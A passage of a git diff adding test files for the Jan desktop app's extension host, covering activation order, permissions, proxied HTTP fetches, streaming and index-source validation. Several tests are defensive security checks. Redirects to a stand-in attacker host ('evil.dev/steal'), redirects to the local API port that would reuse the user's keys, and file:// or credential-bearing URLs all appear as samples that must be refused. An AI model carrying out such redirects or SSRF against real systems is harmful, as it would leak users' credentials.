...cancelError })+ return status+ }+ emit({ event: 'chunk', data })+ await new Promise((resolve) => setTimeout(resolve, 0))+ }+ emit({ event: 'end' })+ return status+ }+ ),+ httpCancel: vi.fn<ExtensionHttp['httpCancel']>(+ async (extensionId, requestId) => {+ cancelled.push(requestId)+ waiting.get(`${extensionId}\n${requestId}`)?.()+ }+ ),+ } satisfies ExtensionHttp++ return {+ http,+ sent,+ cancelled,+ /** The URLs requested, in order. */+ urls: () => sent.map((s) => s.req.url),+ /** The headers of every request, lowercase names. */+ headers: () =>+ sent.map(({ req }) => {+ const lower: Record<string, string> = {}+ for (const [name, value] of Object.entries(req.headers ?? {}))+ lower[name.toLowerCase()] = value+ return lower+ }),+ }+}diff --git a/web-app/src/lib/extensions/__tests__/fixtures.ts b/web-app/src/lib/extensions/__tests__/fixtures.tsnew file mode 100644index 000000000..a7592b560--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/fixtures.ts@@ -0,0 +1,32 @@+import type {+ ExtensionModule,+ JanManifest,+ ValidatedManifest,+} from '@janhq/extension-api'+import type { BuiltinExtension } from '../builtins'++/** A minimal valid manifest; `jan` fields can be overridden per test. */+export function manifest(+ id: string,+ jan: Partial<JanManifest> = {}+): ValidatedManifest {+ return {+ name: `@test/${id}`,+ version: '1.0.0',+ id,+ displayName: id,+ publisher: 'Test',+ apiVersion: '^1.0.0',+ main: 'dist/index.js',+ permissions: [],+ ...jan,+ }+}++export function builtin(+ m: ValidatedManifest,+ mod: ExtensionModule,+ extra: Partial<Omit<BuiltinExtension, 'manifest' | 'load'>> = {}+): BuiltinExtension {+ return { manifest: m, load: async () => mod, ...extra }+}diff --git a/web-app/src/lib/extensions/__tests__/host.test.ts b/web-app/src/lib/extensions/__tests__/host.test.tsnew file mode 100644index 000000000..fa9ab90ba--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/host.test.ts@@ -0,0 +1,369 @@+import { describe, expect, it, vi } from 'vitest'+import type { ExtensionContext, ExtensionModule } from '@janhq/extension-api'+import {+ EngineManager,+ ServiceKey,+ type AIEngine,+ type InternalExtensionContext,+} from '@janhq/core'+import { useGeneralSetting } from '@/hooks/useGeneralSetting'+import { ExtensionHost, toastTitle } from '../host'+import { loopbackFetch } from '@/lib/loopback-fetch'+import { builtin, manifest } from './fixtures'+import { memoryAppSettings, memorySecrets } from './memory'++const newHost = () =>+ new ExtensionHost({+ appSettings: memoryAppSettings(),+ secrets: memorySecrets(),+ notify: vi.fn(),+ })++const recorder = (order: string[], id: string): ExtensionModule => ({+ activate: () => {+ order.push(id)+ },+})++const states = (host: ExtensionHost) =>+ Object.fromEntries(host.list().map((e) => [e.id, e.state]))++describe('ExtensionHost', () => {+ it('accepts an empty built-in list', async () => {+ const host = newHost()+ await host.activateBuiltins([])+ expect(host.list()).toEqual([])+ await host.deactivateAll()+ })++ it('activates dependencies before their dependents', async () => {+ const order: string[] = []+ const host = newHost()+ await host.activateBuiltins([+ builtin(manifest('jan.rag'), recorder(order, 'jan.rag'), {+ dependsOn: ['jan.vector-db'],+ }),+ builtin(manifest('jan.vector-db'), recorder(order, 'jan.vector-db')),+ builtin(manifest('jan.other'), recorder(order, 'jan.other')),+ ])+ expect(order).toEqual(['jan.vector-db', 'jan.rag', 'jan.other'])+ })++ it('isolates a failing activate and fails its dependents', async () => {+ const error = vi.spyOn(console, 'error').mockImplementation(() => {})+ const order: string[] = []+ const host = newHost()+ await expect(+ host.activateBuiltins([+ builtin(manifest('jan.broken'), {+ activate: () => {+ throw new Error('boom')+ },+ }),+ builtin(+ manifest('jan.needs-broken'),+ recorder(order, 'jan.needs-broken'),+ { dependsOn: ['jan.broken'] }+ ),+ builtin(+ manifest('jan.missing-dep'),+ recorder(order, 'jan.missing-dep'),+ { dependsOn: ['jan.nope'] }+ ),+ builtin(manifest('jan.fine'), recorder(order, 'jan.fine')),+ ])+ ).resolves.toBeUndefined()+ expect(order).toEqual(['jan.fine'])+ expect(states(host)).toEqual({+ 'jan.broken': 'failed',+ 'jan.needs-broken': 'failed',+ 'jan.missing-dep': 'failed',+ 'jan.fine': 'active',+ })+ expect(host.list().find((e) => e.id === 'jan.broken')?.error).toBe('boom')+ expect(error).toHaveBeenCalled()+ error.mockRestore()+ })++ it('fails a dependency cycle instead of hanging', async () => {+ const error = vi.spyOn(console, 'error').mockImplementation(() => {})+ const host = newHost()+ await host.activateBuiltins([+ builtin(+ manifest('jan.a'),+ { activate: () => {} },+ { dependsOn: ['jan.b'] }+ ),+ builtin(+ manifest('jan.b'),+ { activate: () => {} },+ { dependsOn: ['jan.a'] }+ ),+ ])+ expect(states(host)).toEqual({ 'jan.a': 'failed', 'jan.b': 'failed' })+ error.mockRestore()+ })++ it('fails a built-in whose apiVersion this host does not satisfy, or whose module fails to load', async () => {+ const error = vi.spyOn(console, 'error').mockImplementation(() => {})+ const activate = vi.fn()+ const host = newHost()+ await host.activateBuiltin(+ builtin(manifest('jan.future', { apiVersion: '^9.0.0' }), { activate })+ )+ await host.activateBuiltin({+ manifest: manifest('jan.unloadable'),+ load: () => Promise.reject(new Error('chunk failed')),+ })+ expect(activate).not.toHaveBeenCalled()+ expect(states(host)).toEqual({+ 'jan.future': 'failed',+ 'jan.unloadable': 'failed',+ })+ error.mockRestore()+ })++ it('gives built-ins an internal context that reaches the service registry', async () => {+ const key = new ServiceKey<{ ping(): string }>('ping')+ const host = newHost()+ await host.activateBuiltin(+ builtin(manifest('jan.pinger'), {+ activate: (ctx: ExtensionContext) => {+ const internal = ctx as InternalExtensionContext+ ctx.subscriptions.add(+ internal.internal.services.provide(key, { ping: () => 'pong' })+ )+ },+ })+ )+ expect(host.services.get(key)?.ping()).toBe('pong')+ await host.deactivateAll()+ expect(host.services.get(key)).toBeUndefined()+ })++ it('registers built-in engines with the app engine manager until deactivation', async () => {+ const manager = new EngineManager()+ window.core = { ...window.core, engineManager: manager } as typeof window.core+ const engine = { provider: 'local' } as AIEngine+ const host = newHost()+ await host.activateBuiltin(+ builtin(manifest('jan.engine'), {+ activate: (ctx: ExtensionContext) => {+ const { internal } = ctx as InternalExtensionContext+ ctx.subscriptions.add(internal.engines.register(engine))+ },+ })+ )+ expect(manager.get('local')).toBe(engine)+ await host.deactivateAll()+ expect(manager.get('local')).toBeUndefined()+ })++ it('lets built-ins read host keyring secrets through the internal context', async () => {+ const secrets = memorySecrets()+ secrets.data.set('huggingface', 'hf_abc')+ const host = new ExtensionHost({+ appSettings: memoryAppSettings(),+ secrets,+ notify: vi.fn(),+ })+ const seen: (string | null)[] = []+ await host.activateBuiltin(+ builtin(manifest('jan.reader'), {+ activate: async (ctx: ExtensionContext) => {+ const { internal } = ctx as InternalExtensionContext+ seen.push(await internal.secrets.get('huggingface'))+ seen.push(await internal.secrets.get('absent'))+ },+ })+ )+ expect(seen).toEqual(['hf_abc', null])+ })++ it('gives built-ins the host loopback fetch, which bypasses every proxy', async () => {+ let received: InternalExtensionContext['internal']['loopbackFetch'] | undefined+ const host = newHost()+ await host.activateBuiltin(+ builtin(manifest('jan.engine'), {+ activate: (ctx: ExtensionContext) => {+ received = (ctx as InternalExtensionContext).internal.loopbackFetch+ },+ })+ )+ expect(received).toBe(loopbackFetch)+ })++ it('grants a built-in exactly the permissions its manifest requests', async () => {+ const host = newHost()+ await host.activateBuiltin(+ builtin(manifest('jan.notifier', { permissions: ['ui:notify'] }), {+ activate: () => {},+ })+ )+ expect(host.dispatcher.has('jan.notifier', 'ui:notify')).toBe(true)+ expect(host.dispatcher.has('jan.notifier', 'tools')).toBe(false)+ })++ it('passes model capabilities through listModels and rejects unknown or duplicate ones', async () => {+ const host = newHost()+ const models = vi.fn()+ await host.activateBuiltin(+ builtin(+ manifest('acme.llm', {+ permissions: ['providers', 'network:127.0.0.1'],+ contributes: {+ providers: [+ { id: 'local', displayName: 'Local', baseUrl: 'http://127.0.0.1:1/v1' },+ ],+ },+ }),+ {+ activate: (ctx) => {+ ctx.providers.registerProvider('local', { listModels: models })+ },+ }+ )+ )+ models.mockResolvedValueOnce([{ id: 'm1', capabilities: ['tools'] }])+ await expect(host.listProviderModels('acme.llm', 'local')).resolves.toEqual([+ { id: 'm1', capabilities: ['tools'] },+ ])+ models.mockResolvedValueOnce([{ id: 'm1', capabilities: ['teleport'] }])+ await expect(+ host.listProviderModels('acme.llm', 'local')+ ).rejects.toMatchObject({ code: 'E_INVALID_ARGS' })+ models.mockResolvedValueOnce([{ id: 'm1', capabilities: ['tools', 'tools'] }])+ await expect(+ host.listProviderModels('acme.llm', 'local')+ ).rejects.toMatchObject({ code: 'E_INVALID_ARGS' })+ await host.deactivateAll()+ })++ it('deactivates in reverse order, disposing subscriptions and contributions', async () => {+ const order: string[] = []+ const disposed = vi.fn()+ const host = newHost()+ const withCommand = manifest('jan.second', {+ contributes: { commands: [{ id: 'go', title: 'Go' }] },+ })+ await host.activateBuiltins([+ builtin(manifest('jan.first'), {+ activate: () => {},+ deactivate: () => void order.push('jan.first'),+ }),+ builtin(withCommand, {+ activate: (ctx) => {+ ctx.subscriptions.add({ dispose: disposed })+ },+ deactivate: () => void order.push('jan.second'),+ }),+ ])+ expect(host.contributions.getState().commands['jan.second']).toBeDefined()++ await host.deactivateAll()+ expect(order).toEqual(['jan.second', 'jan.first'])+ expect(disposed).toHaveBeenCalledTimes(1)+ expect(host.contributions.getState().commands['jan.second']).toBeUndefined()+ expect(states(host)).toEqual({+ 'jan.first': 'inactive',+ 'jan.second': 'inactive',+ })+ })++ it('keeps tearing down when a deactivate throws', async () => {+ const error = vi.spyOn(console, 'error').mockImplementation(() => {})+ const disposed = vi.fn()+ const host = newHost()+ await host.activateBuiltin(+ builtin(manifest('jan.bad-exit'), {+ activate: (ctx) => void ctx.subscriptions.add({ dispose: disposed }),+ deactivate: () => {+ throw new Error('nope')+ },+ })+ )+ await host.deactivateAll()+ expect(disposed).toHaveBeenCalledTimes(1)+ expect(states(host)).toEqual({ 'jan.bad-exit': 'inactive' })+ error.mockRestore()+ })++ it('ignores a second activation of an active built-in and reactivates after deactivateAll', async () => {+ const activate = vi.fn()+ const host = newHost()+ const def = builtin(manifest('jan.once'), { activate })+ // Not awaited in between: React StrictMode mounts, unmounts and mounts again.+ const runs = [+ host.activateBuiltins([def]),+ host.activateBuiltins([def]),+ host.deactivateAll(),+ host.activateBuiltins([def]),+ ]+ await Promise.all(runs)+ expect(activate).toHaveBeenCalledTimes(2)+ expect(states(host)).toEqual({ 'jan.once': 'active' })+ })++ it('notifies listeners when the list changes', async () => {+ const host = newHost()+ const listener = vi.fn()+ host.onDidChange(listener)+ await host.activateBuiltin(+ builtin(manifest('jan.x'), { activate: () => {} })+ )+ expect(listener).toHaveBeenCalled()+ })++ it("labels an extension's toast with a fixed 'Extension:' prefix", async () => {+ const notify = vi.fn()+ const host = new ExtensionHost({+ appSettings: memoryAppSettings(),+ secrets: memorySecrets(),+ notify,+ })+ await host.activateBuiltin(+ builtin(+ manifest('jan.notifier', { displayName: 'Jan', permissions: ['ui:notify'] }),+ {+ activate: (ctx) =>+ ctx.ui.notify({ level: 'warning', message: 'Update now' }),+ }+ )+ )+ expect(notify).toHaveBeenCalledWith({+ extensionName: 'Jan',+ level: 'warning',+ message: 'Update now',+ })+ expect(toastTitle('Jan')).toBe('Extension: Jan')+ })++ it('names the extension of a notification in the app language', async () => {+ const notify = vi.fn()+ const host = new ExtensionHost({+ appSettings: memoryAppSettings(),+ secrets: memorySecrets(),+ notify,+ })+ useGeneralSetting.setState({ currentLanguage: 'ja' })+ await host.activateBuiltin(+ builtin(+ manifest('jan.notifier', {+ displayName: '%name%',+ permissions: ['ui:notify'],+ l10n: { en: { name: 'Notifier' }, ja: { name: 'Tsuchi' } },+ }),+ {+ activate: (ctx) =>+ ctx.ui.notify({ level: 'info', message: 'Hi' }),+ }+ )+ )+ useGeneralSetting.setState({ currentLanguage: 'en' })+ expect(notify).toHaveBeenCalledWith({+ extensionName: 'Tsuchi',+ level: 'info',+ message: 'Hi',+ })+ })+})diff --git a/web-app/src/lib/extensions/__tests__/http.test.ts b/web-app/src/lib/extensions/__tests__/http.test.tsnew file mode 100644index 000000000..bd5a77beb--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/http.test.ts@@ -0,0 +1,494 @@+import { describe, expect, it, vi } from 'vitest'+import type { HttpRequestInit, PermissionString } from '@janhq/extension-api'+import { ContributionStore } from '../contributions'+import { PermissionDispatcher } from '../dispatcher'+import { MAX_CONCURRENT_FETCHES, createHostApi } from '../host-api'+import {+ MAX_REDIRECTS,+ MAX_UNREAD_BYTES,+ createProviderFetch,+ type ExtensionHttp,+} from '../http'+import { ExtensionSettingsStore } from '../settings-store'+import { fakeHttp, redirectTo, type FakeReply } from './fake-http'+import { manifest } from './fixtures'+import { memoryAppSettings, memorySecrets } from './memory'++const LOCAL_API_PORT = 1337+const ID = 'acme.net'++function dispatcherFor(grants: PermissionString[]) {+ const dispatcher = new PermissionDispatcher(() => LOCAL_API_PORT)+ dispatcher.grant(ID, grants)+ return dispatcher+}++function setup(grants: PermissionString[], http: ExtensionHttp | undefined) {+ const m = manifest(ID, { permissions: grants })+ const dispatcher = dispatcherFor(grants)+ const api = createHostApi(m, {+ dispatcher,+ contributions: new ContributionStore(),+ settings: new ExtensionSettingsStore({+ appSettings: memoryAppSettings(),+ secrets: memorySecrets(),+ }),+ storage: memoryAppSettings(),+ notify: vi.fn(),+ http,+ })+ return (url: string, init?: HttpRequestInit, signal?: AbortSignal) =>+ dispatcher.dispatch(m, api, 'http.fetch', init ? [url, init] : [url], {+ signal,+ })+}++describe('ctx.http.fetch', () => {+ it('goes through the plugin and checks every redirect hop against the grants', async () => {+ const server = fakeHttp(({ url }) =>+ url === 'https://a.acme.dev/start'+ ? redirectTo(302, 'https://b.acme.dev/next')+ : url === 'https://b.acme.dev/next'+ ? redirectTo(307, 'https://evil.dev/steal')+ : { body: 'unreachable' }+ )+ const call = setup(['network:*.acme.dev'], server.http)+ await expect(call('https://a.acme.dev/start')).rejects.toMatchObject({+ code: 'E_PERMISSION',+ })+ expect(server.urls()).toEqual([+ 'https://a.acme.dev/start',+ 'https://b.acme.dev/next',+ ])+ // Each hop names the extension, so Rust re-checks its own grants too,+ // and carries a request id it can be cancelled by.+ for (const s of server.sent) {+ expect(s.extensionId).toBe(ID)+ expect(s.requestId).toMatch(/^[\w-]{1,64}$/)+ }+ })++ it('refuses a 307 to the local API server port', async () => {+ const server = fakeHttp(({ url }) =>+ url === 'http://127.0.0.1:8080/x'+ ? redirectTo(307, `http://127.0.0.1:${LOCAL_API_PORT}/v1/chat/completions`)+ : { body: 'proxied with the user keys' }+ )+ const call = setup(['network:127.0.0.1'], server.http)+ await expect(+ call('http://127.0.0.1:8080/x', { method: 'POST', body: '{}' })+ ).rejects.toMatchObject({ code: 'E_PERMISSION' })+ expect(server.urls()).toEqual(['http://127.0.0.1:8080/x'])+ })++ it('returns the final response of an allowed redirect chain', async () => {+ const server = fakeHttp(({ url }) =>+ url.endsWith('/old')+ ? redirectTo(301, '/new')+ : { body: 'hello', headers: { 'x-a': '1' } }+ )+ const call = setup(['network:api.acme.dev'], server.http)+ await expect(call('https://api.acme.dev/old')).resolves.toEqual({+ status: 200,+ headers: { 'x-a': '1' },+ body: 'hello',+ })+ expect(server.urls()).toEqual([+ 'https://api.acme.dev/old',+ 'https://api.acme.dev/new',+ ])+ })++ it('never sends or returns cookies and drops credentials across origins', async () => {+ const server = fakeHttp(({ url }) =>+ url === 'https://a.acme.dev/'+ ? redirectTo(302, 'https://b.acme.dev/')+ : { body: 'ok', headers: { 'Set-Cookie': 'sid=1' } }+ )+ const call = setup(['network:*.acme.dev'], server.http)+ const response = await call('https://a.acme.dev/', {+ headers: {+ Cookie: 'sid=0',+ cookie2: 'x',+ Authorization: 'Bearer t',+ 'X-Key': 'k',+ },+ })+ expect(response.headers['set-cookie']).toBeUndefined()+ const [first, second] = server.headers()+ for (const h of [first, second]) {+ expect(h.cookie).toBeUndefined()+ expect(h.cookie2).toBeUndefined()+ }+ expect(first.authorization).toBe('Bearer t')+ expect(second.authorization).toBeUndefined()+ expect(second['x-key']).toBeUndefined()+ })++ it('keeps only CORS-safelisted headers across a cross-origin redirect', async () => {+ const server = fakeHttp(({ url }) =>+ url === 'https://a.acme.dev/'+ ? redirectTo(307, 'https://b.acme.dev/')+ : url === 'https://b.acme.dev/'+ ? redirectTo(307, 'https://b.acme.dev/same')+ : { body: 'ok' }+ )+ const call = setup(['network:*.acme.dev'], server.http)+ await call('https://a.acme.dev/', {+ method: 'POST',+ body: '{}',+ headers: {+ 'X-Api-Key': 'k',+ Accept: 'application/json',+ 'Content-Type': 'application/json',+ 'Accept-Language': 'en',+ },+ })+ const [first, second, third] = server.headers()+ expect(first['x-api-key']).toBe('k')+ for (const h of [second, third]) {+ expect(h['x-api-key']).toBeUndefined()+ expect(h.accept).toBe('application/json')+ expect(h['content-type']).toBe('application/json')+ expect(h['accept-language']).toBe('en')+ }+ // A 307 keeps the method and body.+ expect(server.sent.map((s) => [s.req.method, s.req.body])).toEqual([+ ['POST', '{}'],+ ['POST', '{}'],+ ['POST', '{}'],+ ])+ })++ it('turns a 303 into a GET without a body', async () => {+ const server = fakeHttp(({ url }) =>+ url.endsWith('/form') ? redirectTo(303, '/done') : { body: 'ok' }+ )+ const call = setup(['network:api.acme.dev'], server.http)+ await call('https://api.acme.dev/form', { method: 'POST', body: 'a=1' })+ expect(server.sent[1].req).toMatchObject({ method: 'GET' })+ expect(server.sent[1].req.body).toBeUndefined()+ })++ it('runs at most MAX_CONCURRENT_FETCHES requests per extension at once', async () => {+ const release: (() => void)[] = []+ const server = fakeHttp(+ () => new Promise<FakeReply>((resolve) => release.push(() => resolve({ body: 'ok' })))+ )+ const call = setup(['network:api.acme.dev'], server.http)+ const running = Array.from({ length: MAX_CONCURRENT_FETCHES }, () =>+ call('https://api.acme.dev/')+ )+ await expect(call('https://api.acme.dev/')).rejects.toMatchObject({+ code: 'E_TOO_LARGE',+ })+ expect(server.http.httpFetch).toHaveBeenCalledTimes(MAX_CONCURRENT_FETCHES)+ for (const r of release) r()+ await Promise.all(running)+ })++ it('cancels the plugin request when the caller cancels', async () => {+ const server = fakeHttp(() => ({ hang: true }))+ const call = setup(['network:api.acme.dev'], server.http)+ const controller = new AbortController()+ const pending = call('https://api.acme.dev/', undefined, controller.signal)+ await vi.waitFor(() => expect(server.sent).toHaveLength(1))+ controller.abort()+ await expect(pending).rejects.toMatchObject({ code: 'E_CANCELLED' })+ expect(server.http.httpCancel).toHaveBeenCalledWith(+ ID,+ server.sent[0].requestId+ )+ // Already cancelled: nothing is sent at all.+ await expect(+ call('https://api.acme.dev/', undefined, controller.signal)+ ).rejects.toMatchObject({ code: 'E_CANCELLED' })+ expect(server.sent).toHaveLength(1)+ })++ it('does not send the next hop once the caller cancelled after a redirect', async () => {+ const controller = new AbortController()+ const server = fakeHttp(({ url }) => {+ if (url.endsWith('/old')) {+ // The worker cancels while the redirect is on its way back.+ controller.abort()+ return redirectTo(302, '/new')+ }+ return { body: 'ok' }+ })+ const call = setup(['network:api.acme.dev'], server.http)+ await expect(+ call('https://api.acme.dev/old', undefined, controller.signal)+ ).rejects.toMatchObject({ code: 'E_CANCELLED' })+ expect(server.urls()).toEqual(['https://api.acme.dev/old'])+ })++ it('reports what the plugin refuses with the matching error code', async () => {+ const http = fakeHttp(() => ({})).http+ http.httpFetch.mockRejectedValueOnce({ kind: 'denied', message: 'revoked' })+ http.httpFetch.mockRejectedValueOnce({ kind: 'tooLarge', message: 'big' })+ http.httpFetch.mockRejectedValueOnce({ kind: 'network', message: 'down' })+ const call = setup(['network:api.acme.dev'], http)+ await expect(call('https://api.acme.dev/')).rejects.toMatchObject({+ code: 'E_PERMISSION',+ message: 'revoked',+ })+ await expect(call('https://api.acme.dev/')).rejects.toMatchObject({+ code: 'E_TOO_LARGE',+ })+ await expect(call('https://api.acme.dev/')).rejects.toMatchObject({+ code: 'E_INTERNAL',+ message: 'down',+ })+ })++ it('stops after too many redirects', async () => {+ let n = 0+ const server = fakeHttp(() => redirectTo(302, `https://api.acme.dev/${++n}`))+ const call = setup(['network:api.acme.dev'], server.http)+ await expect(call('https://api.acme.dev/0')).rejects.toMatchObject({+ code: 'E_INVALID_ARGS',+ })+ expect(server.sent).toHaveLength(MAX_REDIRECTS + 1)+ })++ it('is not available without the plugin path (built-ins, development folders)', async () => {+ const call = setup(['network:api.acme.dev'], undefined)+ await expect(call('https://api.acme.dev/')).rejects.toMatchObject({+ code: 'E_NOT_FOUND',+ message: expect.stringContaining('installed extensions'),+ })+ })+})++describe('createProviderFetch', () => {+ const SSE = [+ 'data: {"choices":[{"delta":{"content":"Hel"}}]}\n\n',+ 'data: {"choices":[{"delta":{"content":"lo"}}]}\n\n',+ 'data: [DONE]\n\n',+ ]++ function providerFetch(+ grants: PermissionString[],+ answer: Parameters<typeof fakeHttp>[0],+ stopped?: AbortSignal,+ mode: 'stream' | 'whole' = 'stream'+ ) {+ const server = fakeHttp(answer)+ const dispatcher = dispatcherFor(grants)+ const fetch = createProviderFetch({+ extensionId: ID,+ http: server.http,+ checkUrl: (url) => dispatcher.checkUrl(ID, url),+ stopped,+ mode,+ })+ return { server, fetch }+ }++ it('reads a whole response through httpFetch, checking every hop, in whole mode', async () => {+ const { server, fetch } = providerFetch(+ ['network:api.acme.dev'],+ ({ url }) =>+ url.endsWith('/old')+ ? redirectTo(308, '/v1/models')+ : { body: '{"data":[]}', headers: { 'content-type': 'application/json' } },+ undefined,+ 'whole'+ )+ const response = await fetch('https://api.acme.dev/old', {+ headers: { Authorization: 'Bearer k' },+ })+ expect(response.status).toBe(200)+ expect(await response.text()).toBe('{"data":[]}')+ expect(server.urls()).toEqual([+ 'https://api.acme.dev/old',+ 'https://api.acme.dev/v1/models',+ ])+ expect(server.http.httpFetchStream).not.toHaveBeenCalled()+ for (const s of server.sent) expect(s.requestId).toMatch(/^[\w-]{1,64}$/)+ })++ it('cancels a whole-mode request in Rust when the caller aborts', async () => {+ const { server, fetch } = providerFetch(+ ['network:api.acme.dev'],+ () => ({ hang: true }),+ undefined,+ 'whole'+ )+ const controller = new AbortController()+ const pending = fetch('https://api.acme.dev/v1/models', {+ signal: controller.signal,+ })+ await vi.waitFor(() => expect(server.sent).toHaveLength(1))+ controller.abort()+ await expect(pending).rejects.toBeDefined()+ expect(server.http.httpCancel).toHaveBeenCalledWith(ID, server.sent[0].requestId)+ })++ it('does not need AbortSignal.any to combine the caller and stop signals', async () => {+ const any = vi.spyOn(AbortSignal, 'any').mockImplementation(() => {+ throw new TypeError('AbortSignal.any is not a function')+ })+ try {+ const stopped = new AbortController()+ const { server, fetch } = providerFetch(+ ['network:127.0.0.1'],+ () => ({ hang: true }),+ stopped.signal+ )+ const controller = new AbortController()+ const pending = fetch('http://127.0.0.1:11999/v1/models', {+ signal: controller.signal,+ })+ await vi.waitFor(() => expect(server.sent).toHaveLength(1))+ controller.abort()+ await expect(pending).rejects.toBeDefined()+ expect(server.http.httpCancel).toHaveBeenCalledWith(+ ID,+ server.sent[0].requestId+ )+ } finally {+ any.mockRestore()+ }+ })++ it('cancels the stream when the Response cannot be built from the head', async () => {+ const { server, fetch } = providerFetch(['network:127.0.0.1'], () => ({+ // Rust decodes header values lossily; a U+FFFD is not Latin-1.+ headers: { 'x-name': 'caf\uFFFD' },+ chunks: ['data: 1\n\n', 'data: 2\n\n'],+ }))+ await expect(+ fetch('http://127.0.0.1:11999/v1/chat/completions')+ ).rejects.toBeInstanceOf(TypeError)+ expect(server.http.httpCancel).toHaveBeenCalledWith(ID, server.sent[0].requestId)+ })++ it('cancels a stream nobody reads once too much is buffered', async () => {+ const { server, fetch } = providerFetch(['network:127.0.0.1'], () => ({+ chunks: ['x'.repeat(MAX_UNREAD_BYTES), 'x'],+ }))+ const response = await fetch('http://127.0.0.1:11999/v1/chat/completions')+ await vi.waitFor(() =>+ expect(server.http.httpCancel).toHaveBeenCalledWith(+ ID,+ server.sent[0].requestId+ )+ )+ await expect(response.text()).rejects.toMatchObject({ code: 'E_TOO_LARGE' })+ })++ it('streams the body back as a web Response the AI SDK can read', async () => {+ const { server, fetch } = providerFetch(['network:127.0.0.1'], () => ({+ headers: { 'content-type': 'text/event-stream' },+ chunks: SSE,+ }))+ const response = await fetch('http://127.0.0.1:11999/v1/chat/completions', {+ method: 'POST',+ headers: { Authorization: 'Bearer k', 'Content-Type': 'application/json' },+ body: '{"stream":true}',+ })+ expect(response.status).toBe(200)+ expect(response.headers.get('content-type')).toBe('text/event-stream')+ expect(await response.text()).toBe(SSE.join(''))+ expect(server.sent).toEqual([+ expect.objectContaining({+ extensionId: ID,+ req: expect.objectContaining({+ url: 'http://127.0.0.1:11999/v1/chat/completions',+ method: 'POST',+ body: '{"stream":true}',+ }),+ }),+ ])+ expect(server.http.httpFetch).not.toHaveBeenCalled()+ })++ it('refuses a 307 to the local API server port without following it', async () => {+ const { server, fetch } = providerFetch(['network:127.0.0.1'], ({ url }) =>+ url.includes(':11999')+ ? redirectTo(307, `http://127.0.0.1:${LOCAL_API_PORT}/v1/chat/completions`)+ : { chunks: ['proxied'] }+ )+ await expect(+ fetch('http://127.0.0.1:11999/v1/chat/completions', {+ method: 'POST',+ body: '{}',+ })+ ).rejects.toMatchObject({ code: 'E_PERMISSION' })+ expect(server.urls()).toEqual(['http://127.0.0.1:11999/v1/chat/completions'])+ })++ it('checks the first URL before anything is sent', async () => {+ const { server, fetch } = providerFetch(['network:api.acme.dev'], () => ({}))+ await expect(fetch('https://evil.dev/v1/models')).rejects.toMatchObject({+ code: 'E_PERMISSION',+ })+ expect(server.sent).toEqual([])+ })++ it('never sends a Cookie and keeps the key with the first origin', async () => {+ const { server, fetch } = providerFetch(['network:*.acme.dev'], ({ url }) =>+ url === 'https://a.acme.dev/v1/models'+ ? redirectTo(308, 'https://b.acme.dev/v1/models')+ : { body: '{"data":[]}', headers: { 'set-cookie': 'sid=1' } }+ )+ const response = await fetch('https://a.acme.dev/v1/models', {+ headers: { Authorization: 'Bearer k', Cookie: 'sid=0' },+ })+ expect(response.headers.get('set-cookie')).toBeNull()+ const [first, second] = server.headers()+ expect(first.cookie).toBeUndefined()+ expect(second.cookie).toBeUndefined()+ expect(first.authorization).toBe('Bearer k')+ expect(second.authorization).toBeUndefined()+ })++ it('cancels the request in Rust when the caller aborts mid-stream', async () => {+ const { server, fetch } = providerFetch(['network:127.0.0.1'], () => ({+ chunks: SSE,+ }))+ const controller = new AbortController()+ const response = await fetch('http://127.0.0.1:11999/v1/chat/completions', {+ method: 'POST',+ body: '{}',+ signal: controller.signal,+ })+ const reader = response.body!.getReader()+ await reader.read()+ controller.abort()+ await expect(reader.read()).rejects.toBeDefined()+ expect(server.http.httpCancel).toHaveBeenCalledWith(ID, server.sent[0].requestId)+ })++ it('cancels a pending request when the extension stops', async () => {+ const stopped = new AbortController()+ const { server, fetch } = providerFetch(+ ['network:127.0.0.1'],+ () => ({ hang: true }),+ stopped.signal+ )+ const pending = fetch('http://127.0.0.1:11999/v1/models')+ await vi.waitFor(() => expect(server.sent).toHaveLength(1))+ stopped.abort()+ await expect(pending).rejects.toBeDefined()+ expect(server.http.httpCancel).toHaveBeenCalledWith(ID, server.sent[0].requestId)+ })++ it('surfaces an error after the head as a failed body read', async () => {+ const { server, fetch } = providerFetch(['network:127.0.0.1'], () => ({}))+ server.http.httpFetchStream.mockImplementationOnce(+ async (_id, _requestId, _req, onEvent) => {+ onEvent({ event: 'head', status: 200, headers: {} })+ onEvent({ event: 'chunk', data: 'data: 1\n\n' })+ onEvent({ event: 'error', kind: 'network', message: 'the stream stalled' })+ return 200+ }+ )+ const response = await fetch('http://127.0.0.1:11999/v1/chat/completions')+ await expect(response.text()).rejects.toMatchObject({+ message: 'the stream stalled',+ })+ })+})diff --git a/web-app/src/lib/extensions/__tests__/index-sources.test.ts b/web-app/src/lib/extensions/__tests__/index-sources.test.tsnew file mode 100644index 000000000..7506c4b06--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/index-sources.test.ts@@ -0,0 +1,77 @@+import { describe, expect, it } from 'vitest'+import { latestVersion, validateSource } from '../index-sources'++const KEY = 'A'.repeat(43) + '='++describe('validateSource', () => {+ it('accepts an https URL with a name', () => {+ expect(+ validateSource({ url: 'https://ext.example.com/index.json', name: 'Ex' })+ ).toEqual({})+ })++ it('accepts a 32-byte base64 public key', () => {+ expect(+ validateSource({ url: 'https://a.b/i.json', name: 'Ex', publicKey: KEY })+ ).toEqual({})+ })++ it.each([+ ['http://ext.example.com/index.json', 'notHttps'],+ ['http://localhost/index.json', 'notHttps'],+ ['file:///etc/index.json', 'notHttps'],+ ['not a url', 'invalidUrl'],+ ['', 'invalidUrl'],+ ['https://user:[email protected]/index.json', 'credentials'],+ ])('rejects %s', (url, code) => {+ expect(validateSource({ url, name: 'Ex' }).url).toBe(code)+ })++ it('requires a name', () => {+ expect(validateSource({ url: 'https://a.b/i.json', name: ' ' }).name).toBe(+ 'required'+ )+ })++ it.each(['abc', 'A'.repeat(44), '!'.repeat(43) + '='])(+ 'rejects the public key %s',+ (publicKey) => {+ expect(+ validateSource({ url: 'https://a.b/i.json', name: 'Ex', publicKey })+ .publicKey+ ).toBe('invalidKey')+ }+ )++ it('treats a blank public key as none', () => {+ expect(+ validateSource({ url: 'https://a.b/i.json', name: 'Ex', publicKey: ' ' })+ ).toEqual({})+ })+})++const v = (version: string) => ({+ version,+ tarball: `https://a.b/${version}.tgz`,+ integrity: 'sha512-x',+ apiVersion: '^1.0.0',+ permissions: [],+})++describe('latestVersion', () => {+ it('picks the highest version, numerically per part', () => {+ 